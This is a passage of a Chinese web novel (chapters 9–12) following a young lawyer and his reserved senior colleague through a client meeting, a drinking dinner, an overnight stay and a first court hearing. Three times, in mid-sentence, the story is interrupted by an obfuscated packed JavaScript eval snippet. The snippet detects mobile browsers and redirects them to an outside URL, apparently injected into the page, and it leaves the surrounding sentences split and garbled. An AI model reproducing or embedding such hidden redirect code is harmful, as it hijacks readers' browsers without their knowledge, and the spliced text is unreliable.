尹观庭微微颔首，平静但不失礼貌地看向严熤身旁的老人：“您是需要委托律师吗？” 相比起严熤略显青涩稚嫩的模样，尹观庭气场着实有些压人，本来只是买菜回家凑热闹的老太太顿时尴尬一笑，连声说着“考虑一下”，很快走进了不远处的小区大门。 严熤默了一下，还没来得及说什么，尹观庭那边已经高效地和李昀及行政小姐姐打了声招呼，示意自己要带着严熤先走，于是他把想说的话都咽了下去，提着自己的包跟着尹观庭上了车。 到了车上，严熤终于憋不住：“师兄，你刚刚为什么……” 尹观庭一边开车，一边随口回答：“这种小区门口一般不会真的有可以发展的客户，本身这只是应付律协的任务，你没必要费太多心思。” 严熤张了张嘴，看上去不太同意。 尹观庭头都没回：“上次所里杨律师给你们培训的内容都忘记了是吧。” 杨律师是律所的另外一位高级合伙人，上周律所培训会分享了一波青年律师的发展经验，核心内容就是赚钱、赚钱和赚钱。 不管是天真也好，圣母病也罢，严熤并不是很认可杨律师的分享内容，但心里想归心里想，总不能当面抬杠，于是他端出一幅虚伪的嘴脸：“我记得啊，但是我还以为这可以谈个案子呢。” 尹观庭都不用看他表情就知道这小子睁眼瞎说，但…… “那你分辨当事人的眼力还得多练练。” 尹观庭最终只是不咸不淡的说了一句，揭过了这段对话。 这个话题上两人观点分歧严重，严熤对此心知肚明，也不会没情商到非要挑破，于是配合尹观庭转移话题，聊起了自己刚刚听来的八卦。 尹观庭一边开车一边听他唠嗑，路上的严重拥堵也不算难熬，一个多小时过去，两人总算是到了律所。 严熤还以为尹观庭特地来活动现场接自己，是路上有什么重要的工作安排，结果尹观庭貌似就是单纯顺路把他捎回了律所，月底要开庭的一个民间借贷的案子跟他交代几句后，就把严熤赶去工作了。 严熤：“……” 一时间不知道该为突然又增加的工作忧心还是为老板的贴心高兴。 9. 第 9 章 严熤把日历上的8月17日和8月27日两个日期圈起来，避免自己忘记了。 第一个日期是民间借贷纠纷案件开庭的时间，当事人郑川，据说是明河集团的股东之一，这案子标的额两千多万，结果尹观庭把他从普法活动现场接回来之后直接把案件丢给了他，平时几乎不过问细节，搞得严熤紧张兮兮的。 而第二个日期就是杨琴芳案件的开庭时间了，自从上次帮她稍微教训了一下找事的几个混混后，杨琴芳对严熤的信任度和依赖度都直线上升，不过老人不识字，也不好意思多打扰他，严熤接到两三个她打来的电话，不是小心询问案件的进程，就是关心严熤的身体。 或许余畅说得对，他看着这个老人，是有些想自己的奶奶了。 严熤想得出神，都没注意尹观庭不知道什么时候到了他工位旁边，被突然响起来的敲桌声吓了一跳。 尹观庭皱眉看他：“身体不舒服？” “啊？”严熤起身揉揉自己脸，“没有没有，刚刚有点走神。” 尹观庭仔细看了看他，发现他眼神清亮，精神状态还不错，看着确实不像生病，刚刚感觉这小子脸色苍白可能是错觉吧，毕竟严熤本身就长得挺白的。 “没事就行，走吧，跟我见个客户。” “哦，好的。” 严熤收拾东西跟着尹观庭去了会议室，路上尹观庭简单和他说了下今天来的是何方神圣。 王信鸿和尹观庭争取的宏远集团清溪村项目总算是看见了一丝曙光，经过宏远内部几个股东的反复拉扯，持股比例最大的股东最后决定亲自和天人和的律师们谈一谈，考虑到王大主任对严熤的重视，尹观庭干脆把严熤叫上了。 宏远集团也算C市的一大商业巨头，五年前，C市政府在云县清溪村规划建设一个大型生态公园，附带一大片疗养度假村、别墅群和配套设施，取名“迷梦清溪”，宏远集团旗下的建筑公司就是迷梦清溪项目的总包方，这个项目开始的不声不响，在开建两年后爆了雷。 先是项目业主方——清溪资产管理公司的老大直接进去了，项目人员全部更换，最要命的是得重新进行招投标并确立施工方，而宏远集团受到之前的牵连，根本没有资格继续参加招投标。 于是宏远只能捏着鼻子开始办理退场，然后就在这里卡住了。 “现在主要的问题是双方对实际工程量的争议很大，初步评估有接近20%的差距，折算下来起码有接近5个亿的工程款处于争议状态，而且现在清溪村项目的招投标已经完成，业主方开始逼着宏远这边撤场，一旦撤场，工程量的核算就更艰难了。” 严熤按着手机的语音输入，记录着尹观庭说的重点。 “那现在宏远集团是想退出吗？” “嗯，国资委介入了，他们只能加快撤场的速度，现在还在谈判，我们的工作就是进场协助他们固定证据，为未来的诉讼做准备。” 严熤顿了一下：“诉讼？” 谈话间到了会议室门口，实木大门半掩着，里面已经传来一阵阵寒暄的声音。 “具体情况后面再说吧，今天会议不需要你发言，做好会议记录就行，有什么问题下来再问我。” “好的。” 尹观庭推开门，王信鸿带着李欣华律师——主任团队的大李律师，李昀则是小李律师——正在和一个大腹便便的中年男人谈笑风生，男人身边还陪着三四个像是下属一样的人物，看上去就是宏远集团的大股东张总了。 张总看见尹观庭，先是眼睛一亮，接着神态变得有些困惑，但丝毫不影响动作，他迎了上来，伸手热情地和尹观庭握了握：“这位就是尹律师了吧，久仰久仰。” 尹观庭笑跟画上去似的，标准而精确，既不显得谄媚，又不失热络：“张总客气了，您能选择我们才是我们的荣幸。” 张总哈哈一笑，边笑边仔细打量着尹观庭的外貌，虽然表情没什么变化，但严熤几乎能感觉到对方有些茫然，是那种眼熟某种事物但是又想不起来在哪里见过的迷惑。 王信鸿不动声色地上前，笑眯眯地插话：“这世界说大也不大，宏远集团的总部就在京城，说不定跟我们尹律的家里人还是老朋友呢。” 家里人？ 严熤内心八卦的小铃铛开始摇晃起来，耳朵都立起来了。 经王信鸿这么一提醒，张总恍然大悟：“哦！这么说尹律和光源的尹总是？” 尹观庭表情变都没变一下：“张总说的尹总如果是尹观澜的话，是我大哥。” “哎呀原来如此啊！”张总左手握拳一击右手，态度瞬间热情了好几个level，“我老早听说尹总有个弟弟，可惜一直无缘得见，没想到居然在这里碰上了！哎呀哎呀，这可真是有缘！” 光源集团，国内新能源产业的龙头企业之一，相比于其他巨头，光源的管理层行事相当低调，很少在公众面前露面，但光源自身的资金流和研发实力过硬，从事的又是国家未来重点扶持发展的战略领域，因此纵然宏远集团和光源的业务交叉很小，但张总还是热情到近乎谄媚，对尹观澜的好话一箩筐地送了上来，顺带把尹观庭捧到了天上。 王信鸿赶紧把话题拉回来，外人不知道他是清楚的，尹观庭跟他大哥的关系不说是相亲相爱吧，也可以说是水火不容了，张总再夸两句尹观澜这会应该开不下去了。 但正经场合尹观庭显然十分公私分明，一直配合着张总的表扬替自己谦虚，也替自己那个常年不联系的大哥谦虚，等众人终于寒暄够了一一落座，尹观庭在底下不动声色地给王信鸿比了个手势。 意思是成了。 王信鸿扯扯嘴角，他们之前拿这个项目一直不太顺利，听说宏远集团内部的几个股东联合已经看中了一家律所，他本来准备放弃了，结果尹观庭让他想办法和大股东见一面，只要能见面就能谈下来，本着对尹观庭的信任，王信鸿想办法把大股东拉了过来，还以为尹观庭有什么锦囊妙计。 合着就是逮住自己大哥薅羊毛啊。 等主要人员坐下开始谈正事，严熤在后排坐下，整个人都还有点懵逼。 记录间隙忍不住看了看尹观庭的背影。 好家伙，没想到大佬还有这么牛逼的身世。 可严熤似乎从来没见过尹观庭联系他的家人，尹观庭的私人生活很少对外人展示，律所众人只知道他单身，其余信息一概不知，但严熤作为尹观庭难得带在身边的助理，跟他的接触已经是异常的多了——主要最近工作太忙加班太多，动不动就得和尹观庭一起在律所呆到八九十点。 而这期间从来没有人联系尹观庭，关心一下他什么时候回家。 哪怕严熤自己，还能时不时接到余畅或者余畅爸妈打来的电话呢。 也不知道能不能和尹大状打听一下，以现在我们俩的关系，应该不会被骂……吧？ 严熤严肃地记录着会议内容，内心八卦的小铃铛都快摇烂了。 可惜接下来的时间里严熤一直没能找到机会询问，会议结束一群人浩浩荡荡地到了附近的一家私家厨房，饭桌上直接喝到了晚上十二点。 到最后清醒的人只剩下了滴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740057|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒不沾的严熤和千杯不倒的大李律师，大李律师开始指挥严熤跑前跑后地结账开票以及给各位大佬安排代驾。 严熤看了一眼尹观庭。 男人双腿交叠，靠坐在包厢的沙发上，感受到严熤的视线，跟着看了过来，那双素来平静淡然的眼睛里全是迷离，带着和平时截然不同的温和。 严熤心头一跳。 尹观庭盯着他看了半晌，慢半拍地掏出手机晃了晃，有些含糊地说道：“找代驾把张总他们送回去，是没钱垫付吗？用我的微信支付吧。” 难为他醉成这样了还有逻辑。 严熤嘴角抽了抽，正想说什么，但大李律师已经把张总一批人和王信鸿送回去，回来准备送下一批人，除了坐在沙发上醒酒的尹观庭，还有两个一年级的律师，其中一个是和严熤差不多大的姑娘，大李律师已婚已育非常有避嫌意识，扛起另外一位男律师头都不回地出门去了，还不忘嘱咐严熤：“你记得把小陶送回家啊！一定要交给她家里人听到没有！” 小陶就是那位喝高了的女律师。 严熤：“……” 不是，难道我不需要避嫌的吗？ 但吐槽也改变不了现实，小陶趴在桌上显然不太舒服，严熤走过去，小心地避开她裸露在外的小手臂，握住上臂把人拉了起来，问道：“陶律师？” 小陶醉的不算很厉害，还有一些意识：“严律师，辛苦你送我回去了。” 严熤回她一个笑容：“没事，咱俩都是蹭尹律的车。” 说着，严熤笑容难免有些复杂。 来饭店之前尹观庭问他：“你酒量怎么样？” 严熤不喜欢酒，甚至于厌恶，闻言下意识皱了皱眉，但很快反应过来，律师哪有不喝酒的，于是答道：“我基本没喝过，可以试试看。” 尹观庭当时没说话。 而张总这群人，就是那种典型的奉行酒桌文化的生意人，酒桌上指着人往死里喝，严熤本来以为自己今天得帮尹观庭挡挡酒，没想到刚坐下尹观庭就指着严熤对张总说：“这是我助理，一会喝高了还得他送我回去，所以今天小严就先以茶代酒敬各位一杯，之后诸位就把他忘了吧，我们喝我们的。” 张总一般没这么好说话，可尹观庭上头还有个得罪不起的哥哥，自然也就笑嘻嘻地应了，于是严熤得以在女孩子都免不了被灌酒的饭局里保持清醒。 “尹律，对，对你，可真好，”小陶瘫在椅背上，听到严熤回话，口齿不清地回了一句，“主任说，有些，有些客户，就他妈不是人，就，就……他也没办法，所以呀，女生也得会喝酒，我他妈！不想喝酒！啊！！” “哎哎……好好好，咱们不喝酒，不喝酒，喝杯牛奶吧。”小陶突然大声的骂人吓了严熤一跳，手忙脚乱地把人安抚住，顺便把刚刚下楼开票时买的牛奶递给她。 小陶拿到牛奶，安静下来，小口小口地喝着。 严熤拿着剩下的最后一罐牛奶到了尹观庭面前，下意识放轻了声音：“师兄，你要不喝点牛奶？” 他拧开牛奶的盖，递到尹观庭唇边。 尹观庭慢半拍接过来，喝一口，皱了皱眉放下了。 严熤看得眼角一抽，这位爷怎么还挑喝的？ 不过现在不是纠结这些的时候，之前严熤拿到了尹观庭车钥匙，现在的问题是要怎么把这一男一女搬到尹观庭那张车上，以及，严熤刚拿的驾照要怎么把那张接近百万的梅赛德斯奔驰给开回去。 尹观庭和小陶，喝了牛奶之后相继睡去，严熤一个人看着他们，陷入了深深的思考。 10. 第 10 章 早上十点。 尹观庭醒过来时，头疼欲裂。 坐在床上缓了一会，总算是勉强集中了注意力，这才想起昨晚上的事情。 年轻的时候为了谈客户也不是没有这么喝过，十年前他和王信鸿一起创业时，目标客户基本都是C市的央企分公司或者是国企，谈合作的时候基本上就是一个字，喝。 那时候他宿醉一整晚第二天还能精神抖擞地去开个庭。 但是时间不饶人，现在别说开庭了，起身都有点困难。 他正面色苍白地在床上揉着额头，卧室门被敲响了。 尹观庭手一顿。 家里哪儿来的人？ 门外的人很快给他解了惑：“师兄，你是不是醒了？主任刚刚打电话找你，你给他回个电话吧。” 严熤？为什么他在我家？ 尹观庭脑子里划过这个想法，但还没细究，手已经下意识拿起了手机。 王信鸿给他打了三个电话，后面又给他发了微信，尹观庭点开一看，是关于下个月C市律协举办的一个活动，王信鸿让他准备准备，上台做分享。 尹观庭头疼地把手机放下，揉了把脸起床洗漱。 等他出卧室，就发现自己常年不用的餐厅已经收拾干净了，桌上堆砌的杂物被收拾到了置物架上，雪白桌面上铺了几张废纸，上面摆了一盘蒸饺，两碟蘸料，一旁还放了一杯清水，严熤套着个围裙从厨房探出头来：“师兄你起了？我给你倒了杯柠檬水，应该可以缓解一下宿醉。” 尹观庭一时沉默，走到桌边拿起那杯水，淡淡的柠檬清香从杯子里传了出来，不知道是不是错觉，脑袋里针扎似的疼痛似乎真的好了很多。 严熤最后端着两碗粥出了厨房，给自己和尹观庭面前各放一碗，一点不把自己当外人：“师兄你家里什么东西都没有，我楼下超市随便买的速冻饺子和小米，凑合着吃吧。” 尹观庭一步一个指令，坐下来之后总算想起来问：“你怎么……” 话一出口他又收住了，这话问得好像很不欢迎严熤一样。 严熤没太在意，解释了一下昨晚的情况。 昨天尹观庭和小陶都醉倒了，严熤在饭店服务生的帮助下把两人弄上了车，可看着尹观庭那张低调奢华的豪车严熤还是没敢动，找了个代驾小哥，两人小心翼翼地开着车把小陶送回家，又把尹观庭送回郊区的高档小区里，此时已经差不多凌晨三点了，严熤实在打不到车回家，想了想干脆在尹观庭家里的沙发上凑合了一晚。 尹观庭喝粥的动作一顿：“怎么不睡客房？” “这不是不好意思吗？”严熤笑嘻嘻，“而且说实话，师兄你这沙发真的比我的床还舒服。” 尹观庭笑了笑：“床更舒服，客房内有新的床单，下次你直接到客房休息吧。” 这话说得有点奇怪，尹观庭说完又补了一句：“让客人睡沙发，显得我很无礼。” 可我也不是客人啊，严熤心里嘀咕两句，脸上还是平常那副讨人喜欢的笑容：“好的好的，我下次肯定不客气。” 尹观庭看他一会儿，才低头喝粥。 吃完一顿安静的早饭，严熤手脚麻利地收拾了餐桌，对着门口穿衣镜整理了一下自己皱巴巴的衬衫，“啧了一声，开玩笑道：“坏了，尹律，衣冠不整进律所会被扣工资吗？” 尹观庭端着那杯柠檬水小口小口地喝着，闻言闲闲接话：“不扣工资，直接开除。” 严熤幽幽回头：“……？” 尹观庭被他逗乐了：“没事，今天不见客户，要是这样穿不舒服，可以先换上我的，”他目测了一下两人的身高体型，“你穿我的应该会合适。” 严熤很是感动，然后拒绝了：“不用了吧，不然之后我还得洗了还你，你那些衬衫说不定我还洗不起。” “？”尹观庭没听明白“有钱人的衬衫只穿一次”这个梗，但也没坚持，只是放下喝光了的柠檬水，收拾东西准备载着严熤去上班。 或许睡得太晚又起得太早，严熤上车后没坚持十分钟就在副驾驶睡了过去，尹观庭默默把副驾驶的位置调低了一些，严熤动了动，扭了个头，面朝尹观庭睡得更安稳了。 尹观庭沉默地看着他精致的脸，从早上严熤叫他起床开始，就在心里弥漫的莫名悸动更加清晰了，他手搭在方向盘上，看着导航上前方通红一片的道路，很想抽烟。 但考虑到身边这小孩烟酒不沾，本着不能让别人吸二手烟的道德准则，又忍住了。 不知不觉严熤跟在他身边已经两个多月了，尹观庭的助理工作时间最长的一个记录是半年，那次还是因为律协的规定，实习律师在一个律所工作时间不满半年换所的，要重新计算实习期，为了避免浪费半年时间，那个助理硬生生忍了半年，时间一到光速转所，看得王信鸿摇头不已。 严熤跟着他的时间不是最长的，但氛围关系却是最好的一个，尹观庭之前的助理在他面前或多或少都有些沉默，一方面是尹观庭私下性格冷淡让人不敢放肆，另一方面就纯粹是工作要求严格带来的副作用了，小助理们都生怕多说多错。但严熤完全不怵这个，他是个很喜欢聊天的人，而且还“不畏强权”，对尹观庭的冷淡光环抗性良好，经济文化历史政治八卦，尹观庭算是直观见识到了严熤课余知识的丰富。 当然男人一般很少能抵抗对金融和政治的诱惑，键政和键经都有种莫名爽感，尹观庭也不例外，只是平时懒得说话也很少有人找他聊天就是了，何况他本身商人家庭出身，职业又注定了看问题有种清晰而独到的思路，跟严熤还真能什么都对上频，两人工作之余还真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740058|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聊得异常开心。 但现在来看，好像不止是聊天开心的问题了。 一路想着这些有的没的，两人到了律所，严熤睡眼惺忪地跟着尹观庭上楼，在16楼的门口直接撞上了红着一双眼的王信鸿。 尹观庭瞥他一眼：“你哭了？” 王信鸿的表情堪称惊悚，尹观庭这才发现王信鸿身边竟然还跟着两个陌生男人，看上去应该是客户，顿时尴尬，赶紧出言补救：“这两位是？” 王信鸿按下自己内心诡异的感觉，十分敬业地给新谈的客户介绍本所的头牌，不是，王牌，一番你好我好的商业互吹之后，王信鸿送走了自己的客户，第一反应就是把尹观庭拉到一边：“外人面前你竟然会开玩笑！说，你到底是何方妖孽？！” 尹观庭要烦死了，上午想事情想得太入迷，一时间失去了判断力，结果恰好被王信鸿逮到，这下耳根不得清静了。 严熤已经被尹观庭打发去工作了，这会儿角落里就只有师兄弟两个，王信鸿就用一种“你有问题”的眼神看着他：“不对不对，你肯定有情况，平时你可不是这样的，而且今早上小严接我电话说你在睡觉！他怎么在你家！你对小孩干嘛了？还有啊，昨天给助理挡酒也是头一遭了吧，你知不知道给我惹多少麻烦啊？我们团队那几个小崽子今天搁那儿阴阳怪气我一上午了。” 尹观庭不想解释自己对严熤的区别对待——妈的我自己还没想清楚呢——闻言干脆反客为主：“那你不是活该，带女孩子去那种饭局亏你想得出来。” 王信鸿炸了：“妈的我容易吗我，小陶她自己选了建工方面，这么好的机会肯定得给她啊，而且那姓张的是什么善茬吗！你有个大哥我又没有……” “行了行了我知道，下次注意就行，”尹观庭熟练地安抚住王主任爆炸的情绪，“我们这行肯定免不了这种事情，下次严熤也不一定能躲开，小陶能理解的。” 王信鸿确实对小姑娘喝成那样有些愧疚，闻言心里好受了一些，但是不妨碍嘴上逼逼叨叨，大意就是下次归下次，这次你怎么就光想着严熤不想想我团队里的小姑娘。 尹观庭彻底烦了：“不是你说要多照顾严熤的吗，我照顾你还不爽了是吧！” 王信鸿没话说了，过了一会欲言又止，止言又欲。 尹观庭无语：“要说什么赶紧说。” 王信鸿收敛了脸上玩笑的神色：“咳，你知不知道为什么李老师这么关心严熤？” 尹观庭有种不祥的预感：“为什么？” 王信鸿有些感慨又有些怜悯：“李老师跟我说，严熤的家里人都不在了，当年差点因为经济问题退学，还是他帮着从学院那里争取了不少资助，才让小孩读完研究生的，所以让我们能帮就尽量帮一帮……” 尹观庭心头重重一跳。 11. 第 11 章 孤儿、经济问题，这些词汇看上去都不太能和严熤搭上边。 严熤性格开朗，教养在线，同理心很强，对钱不说大手大脚但也不会抠抠搜搜，什么外卖咖啡奶茶，电脑手机pad，也没见他缺少过，看上去就是优渥家境里养出来的孩子，尹观庭着实是没法把经济困难和他联系在一起。 对他的疑惑王信鸿只能一摊手：“具体情况我也不知道，反正李老师是这么跟我说的，总之我看你们相处的也挺好，收收你那吹毛求疵的毛病，多关心下人家。” 尹观庭又想起了今天上午的一桌早点，烦躁不期而至，他压了压情绪，保持一贯的语调回道：“我知道了。” 王信鸿懒得追究他是真的知道了还是敷衍，反正他拿尹观庭也没什么办法，交流了几句关于清溪村项目的事情之后，就各自离开了。 尹观庭带着一脑门心思回去工作，要不是这么多年下来，工作时心无旁骛早就形成了习惯，说不定今天工作效率还会下降。 一直到吃午饭的时候，尹观庭总算是停下脚步，打算看看罪魁祸首中午饭吃什么。 然后他就看见严熤抱着一个KFC的全家桶准备到楼下的休息间吃饭，见到他还十分开心地打招呼：“嗨~疯狂星期四，来一个麦辣鸡翅吗？” KFC哪儿来的麦辣鸡翅？ 还有这小子中午吃得这么隆重到底哪里像缺钱的了？ 尹观庭不想理他，面无表情地越过他下楼吃饭去了。 严熤抱着自己的全家桶莫名其妙，思考几秒后认为是尹律又被哪个麻烦的客户惹到了，于是把这件事抛到脑后，带着自己的疯狂星期四吃饭去了。 不过尹观庭还是受到了影响，接下来的一段时间他时不时就会看看严熤中午吃的什么，试图以恩格尔系数判断自己这个助理缺不缺钱，偶尔他也会觉得这样的观察有些莫名其妙，毕竟从外观上很难判断出来严熤有没有经济困难，起码看上去是十分正常，尹观庭只能暂时把这件事放下。 或许是严熤家里最困难的那段时间已经过去了。 转眼到了8月17日，尹观庭当初迫于人情接下的郑总的那批民间借贷的案子总算是轮到了最后一个庭，这个案子定开庭时间的时候，严熤刚好入职，考察一段时间后，尹观庭把这个案子交给了严熤。 严熤现在承办的诉讼案件严格来说只有两件，而杨琴芳那个交通事故的案子，事实上基本都是李昀在处理，严熤主要是协助他，而尹观庭交过来的民间借贷就真的只是严熤自己在主办了。 尹观庭十分潦草地给了他一个案件分析步骤和模板后，基本就没再过问。 严熤看着这案子两千多万的标的，压力巨大，梦里都是在借钱还钱。 “但为什么你的梦里是欠别人的钱？我记得我们的案子是别人欠了我们的钱。”尹观庭看了一眼正在数秒的黄灯，最终还是把车停下了。 严熠坐在副驾上，理了理自己的头发，显得有点郁闷：“我也不知道啊，明明我做案例检索报告的时候，关注也是怎么跟别人要钱，”他想了想，开玩笑道：“没准这就是穷人的宿命，做梦都没有天降横财的可能。” 尹观庭顿了顿，到嘴边的话还是换成了另外一句：“不错，希望一会儿开庭你也保持这样轻松的心态。” 严熠笑容顿时有点僵硬。 尹观庭转头看他一眼，语气带上了指导严熠工作时的认真：“你心态要调整过来，不能太紧张，如果民间借贷纠纷这种案子你都不能冷静，那更复杂的案子开庭你要怎么办？” 严熠当然明白自己有点过于紧张，但是这种人生第一次哪儿能这么容易平静下来，更何况：“什么叫这种案子都不能冷静，你看对方律师提交的一大堆的东西，怎么看都不是简单的案子吧？” “这个问题之前讨论的时候已经跟你说过很多次了，你不要被对方的证据带偏思路。”尹观庭突然发现自己对严熤有点过于纵容了，换个助理接二连三的问出同一个问题，他怕不是已经开骂了。 严熤话一出口就知道有问题，只能摸摸鼻子，冲他露出一个十分乖巧的笑容，漆黑的瞳仁闪着几分不好意思，那一瞬间极像一个灵巧的小动物。 “……”尹观庭深刻体悟到了严熤此人在装乖卖巧方面的资深造诣，于是接下来要出口的话就变成了不咸不淡地废话：“还是经验太少了，得多锻炼。” 严熤发现自己竟然没有挨骂，顿时活跃起来，看了看他，突然问道：“师兄你第一次开庭紧张吗？” 尹观庭冷不丁听到这个问话，怔了一下，很多久远的回忆突然冲上心头，他沉默了一会儿，才开口回答：“不紧张。” 虽然他说得平淡，但严熤莫名觉得尹观庭似乎不太平静，他想起王信鸿上次那个欲言又止的后续，好奇地抓心挠肺的，但这种事情人家不说，他也不好刨根问底，于是顺着台阶就下了，还不忘拍个彩虹屁：“厉害厉害，不愧是我校传奇！” 尹观庭对他浮夸的演技嗤之以鼻，正打算说什么，红灯变绿，跟在后面的一辆车催命一样的按喇叭，尹观庭随即闭嘴，启动汽车，转过一个弯，不远处一栋悬挂着国徽的建筑赫然出现在了眼前。 身边突然就安静了，尹观庭听到旁边人明显的深呼吸，微微侧过头，露出一点笑意，但很快憋了回去，看似认真的寻找起法院附近的停车位。 严熤的紧张有些白费功夫，上午的庭审结束的非常快速，主要原因是对方上来抛出来一个难以拒绝的调解方案，尹观庭出门和郑总打了个电话回来之后，案件以调解结案，整个过程只花了半个小时。 剩下的时间就是等着书记员做笔录以及和对方代理人尬聊，严熤万万没想到自己的第一个案子居然就这么草草结束了，有种世事无常的懵逼感。 尹观庭签完笔录带着严熤出门，在法院门口又给郑总打了个简短的汇报电话，一回头就看见严熤盯着法院的电动铁栅栏一脸感慨，有些无语：“……你这是什么表情？” 严熤从感慨中回过神，这种解决心头重压放松感让他心情贼好，忍不住就要皮一下：“当然是默哀我逝去的舌战群儒。” 尹观庭：“……对面就一个人。” 严熤一挥手：“这个不重要，关键是得要有这种气势。” 尹观庭摇摇头，不想掺和他这莫名其妙发作的中二病，只是拍了拍他的肩：“走，请你吃午饭。” 说完，带着严熤七绕八拐的，进了一个小巷子旁边的小店里。 这……严熤犹豫地看了看店面，再看看尹观庭身上价值不菲的正装，有点不能接受这个精英大佬吃路边摊的设定。 尹观庭十分熟练找了个位置坐下，点了一碗西红柿牛肉面，顺便招呼严熤：“这是他们家的招牌，你看你吃这个还是点别的？” 严熤在他对面坐下，有点好奇：“我和师兄一样就好。” 前来收拾桌子的老板娘闻言点了点头，端起两人面前还没收拾完的碗筷，拿一块布随意擦了擦桌子，一边吆喝“两碗牛肉面”一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740059|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边进了后厨。 等老板娘离开，尹观庭拿过桌边的水壶给两人倒了杯水，闲聊般开口：“你这次准备开庭文件感觉怎么样？” 要是以往严熤还得思考一下这是考核还是聊天，但经过这么久的磨合以及上次的留宿，严熤面对尹观庭基本不会有紧张感，闻言用一种十分浮夸的虚伪语气说道：“收获十分大呢~” 尹观庭隔空点点他：“好好说话。” “咳，”严熤收起玩笑的申请，犹豫了一会才说道，“其实这个过程中我觉得师兄你有点小题大做。” 说完，他自以为隐蔽地瞄了一眼尹观庭的表情，像是怕被骂。 尹观庭好笑地看着他装模作样，以严熤这没心没肺的性格，怕什么都不可能怕被骂，而且这个回答确实让他心情极好。 于是他笑了起来，尹观庭平时表情不多，总给人一种斯文冷淡的感觉，震慑力百分百，这会儿突然关掉了震慑buff，本身的俊美毫无掩饰地展示出来，而且亲和可近，给人冲击力不是一般大。 严熤就看得一愣。 “以前也不是你一个人这么认为，但你还是第一个当面这么跟我说的，”尹观庭眼里的笑意还没完全散去，声音也随和了不少：“这样挺好的，你们王主任曾经跟我说过，带团队最难的就是团队成员愿意相信你、跟你说实话，这么看来，我很荣幸得到你的信任。” 严熤莫名耳热。 尹观庭倒是没想到严熤脸皮还有这么薄的时候，眼睁睁看着绯红从他白皙的脖颈一直蔓延到耳后，眼里的笑意更深了。 严熤险些被笑得恼羞成怒。 看着人要炸毛了，尹观庭咳了一声收敛住笑意，十分认真地解释：“刚从业，简单案子也有认真准备的必要，尤其是民间借贷这种典型的纠纷，认真做好一个基本就能处理一类，你现在再想想，对民间借贷这一类型的案件的关键要素是不是已经有了框架，以后照着框架去准备，一个案子可能要不了两个小时就能准备完成，可以给你节省大量的时间和精力。” 严熤受教地点头，从尴尬中缓了过来。 正好面馆的老板娘把两碗热气腾腾的面放桌上，严熤接过其中一碗，伸筷子搅了搅，在扑鼻的香气中忍不住感慨了一句：“好香啊，我还以为师兄你这级别的律师平时都是吃米其林的，结果你好像也很能凑合嘛。” 尹观庭对他的刻板印象嗤之以鼻：“忙成这样有时间吃饭就不错了，再说了……”他指了指周围来来往往的人群：“看见没，群众的选择。” 这倒也是，这家店开在一个前不着村后不着店的小巷子里，除了店里，门外前前后后摆出去七八桌，坐得满满当当，深刻诠释了什么叫“面好不怕巷子深”。 说到这个话题，尹观庭忍不住又想起了严熤的身世，迟疑了下，他委婉问了一句：“你现在是住家里还是租房住？” 严熤正专心吃面，闻言随口回答：“租房呢，就在律所过去两个地铁站。” “房租大概多少？平时生活有压力吗？” 严熤从面碗里抬头，忍不住笑：“师兄你问这么详细是要给我涨工资吗？不过还好了，我们律所待遇挺好的，我一人吃饱全家不饿的，够我用了。” 他说得轻松自在，毫不勉强。 尹观庭引以为傲的口才突然有些发挥失灵，实在是不知道从什么角度切入问一问他的家庭状况，最后只能“嗯”了一声，强行结束了话题。 氤氲的蒸汽掩盖了他有些复杂的眼神。 12. 第 12 章 两天后，郑总收到了法院出的调解书，十分满意，很是痛快把律师费都结清了，尹观庭总算是松了一口气。 郑大款难缠归难缠，给钱还是很痛快的。 要不是还有这么个优点，哪怕有明河的小谭总做背书，尹观庭也不会接他的案子。 尹观庭一边内心梳理自己目前的案子，一边准备下楼吃饭，严熤正好同路，手里拿了两个透明的饭盒。 尹观庭一顿：“你自己做饭了？” 他记得上次和严熤闲聊的时候，严熤说自己合租做饭相当不方便，因为有两个合租室友是一对，两人的东西占了一整个厨房，他都没地放自己的东西。 严熤笑眯眯地应是。 尹观庭看了一眼他手里的饭盒，香煎鸡胸肉和清炒绿叶菜（没看出来什么菜），另外一盒是米饭，尹观庭忍不住皱了皱眉：“你就吃这么点？” “啊？”严熤有些愣神，下意识掂量了一下自己手里的饭盒，沉甸甸的，随即他反应过来，“分量很多的，只是菜色比较简单，我一个人弄饭不想太复杂了。” 尹观庭一想也是，严熤应该不至于饿着自己，转而想起了另外一个问题：“你怎么突然开始自己做饭了？不点外卖了？” “天天吃外卖也腻味啊，而且会胖，”严熤举了举手里的饭盒，“看见没，自己做的减脂餐，保持身材从现在做起。” 尹观庭下意识瞄了一眼他劲瘦的腰身：“……” 行吧，你开心就好。 